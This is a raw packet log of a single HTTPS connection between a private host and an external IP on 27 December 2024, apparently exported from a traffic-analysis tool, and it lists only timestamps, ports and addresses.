Dec 27, 2024 10:21:52.999507904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.999522924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.999581099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:52.999594927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:52.999641895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.005551100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.005565882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.005633116 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.005646944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.005697012 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.011054993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.011069059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.011138916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.011151075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.011197090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.016987085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.017000914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.017085075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.017100096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.017164946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.022964001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.022984982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.023052931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.023068905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.023119926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.183806896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.183823109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.184014082 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.184039116 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.184097052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.189791918 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.189806938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.189882994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.189897060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.189951897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.195041895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.195058107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.195122004 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.195137024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.195188046 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.201142073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.201157093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.201230049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.201245070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.201293945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.206964970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.206985950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.207045078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.207060099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.207113028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.212541103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.212557077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.212625027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.212637901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.212688923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.218542099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.218556881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.218628883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.218642950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.218696117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.223813057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.223829031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.223897934 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.223912001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.223965883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.385169029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.385189056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.385364056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.385390997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.385443926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.391115904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.391132116 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.391207933 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.391222000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.391273022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.397125006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.397140026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.397218943 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.397233963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.397284985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.402334929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.402352095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.402400970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.402414083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.402440071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.402456999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.408308029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.408335924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.408380985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.408395052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.408426046 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.408447027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.413861036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.413877964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.413950920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.413964033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.414009094 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.419863939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.419878006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.419939995 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.419954062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.420002937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.425780058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.425795078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.425860882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.425874949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.425921917 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.586579084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.586596012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.586788893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.586798906 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.586843967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.592534065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.592549086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.592626095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.592638016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.592683077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.598417044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.598431110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.598501921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.598510981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.598550081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.604419947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.604435921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.604500055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.604509115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.604547977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.609674931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.609690905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.609747887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.609755993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.609797001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.615256071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.615271091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.615338087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.615345001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.615389109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.621269941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.621287107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.621352911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.621361971 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.621402979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.627196074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.627213955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.627280951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.627289057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.627331972 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.788845062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.788865089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.789031982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.789047956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.789099932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.794111013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.794126987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.794202089 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.794215918 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.794270039 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.800049067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.800064087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.800142050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.800163984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.800209999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.806001902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.806019068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.806082964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.806097031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.806144953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.811279058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.811294079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.811362028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.811376095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.811425924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.817617893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.817634106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.817702055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.817714930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.817763090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.822886944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.822904110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.822974920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.822988987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.823048115 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.828741074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.828756094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.828828096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.828856945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.828902006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.990232944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.990252018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.990382910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.990411043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.990463018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.995515108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.995532036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.995623112 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:53.995637894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:53.995724916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.001378059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.001403093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.001477003 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.001513958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.001562119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.007381916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.007396936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.007477999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.007498026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.007551908 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.012651920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.012666941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.012739897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.012761116 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.012813091 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.018961906 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.018976927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.019047022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.019069910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.019124031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.024245024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.024259090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.024341106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.024363041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.024409056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.030183077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.030198097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.030304909 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.030323982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.030375957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.191317081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.191339016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.191592932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.191620111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.191674948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.197148085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.197163105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.197246075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.197266102 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.197315931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.203142881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.203161001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.203242064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.203262091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.203310966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.208399057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.208415985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.208493948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.208523989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.208570957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.214413881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.214432955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.214524984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.214541912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.214595079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.220016003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.220032930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.220108032 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.220124960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.220176935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.225899935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.225917101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.225992918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.226007938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.226057053 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.231935978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.231952906 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.232022047 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.232038021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.232088089 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.393289089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.393305063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.393527985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.393558025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.393626928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.398646116 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.398659945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.398750067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.398770094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.398837090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.404448986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.404464960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.404536009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.404551029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.404601097 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.410459995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.410476923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.410557032 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.410577059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.410626888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.415745974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.415760994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.415841103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.415857077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.415904999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.422048092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.422064066 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.422159910 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.422177076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.422231913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.427448988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.427463055 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.427558899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.427598000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.427644014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.433257103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.433274031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.433355093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.433376074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.433419943 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.594926119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.594945908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.594995022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.595026970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.595052004 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.595072031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.600153923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.600171089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.600212097 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.600229025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.600253105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.600271940 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.606157064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.606173038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.606224060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.606252909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.606304884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.612075090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.612091064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.612143993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.612159967 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.612214088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.618086100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.618103027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.618165016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.618185043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.618231058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.623656034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.623672009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.623752117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.623769045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:54.623817921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:54.629661083 CET	443	49745	172.67.214.186	192.168.2.4
